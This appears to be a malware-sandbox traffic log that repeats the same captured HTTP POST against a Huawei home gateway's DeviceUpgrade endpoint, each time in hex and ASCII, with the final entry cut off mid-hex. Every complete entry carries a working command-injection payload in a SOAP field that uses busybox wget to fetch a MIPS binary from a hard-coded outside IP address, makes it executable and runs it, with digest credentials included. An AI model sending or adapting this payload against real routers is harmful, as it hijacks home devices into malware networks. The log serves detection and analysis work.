Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 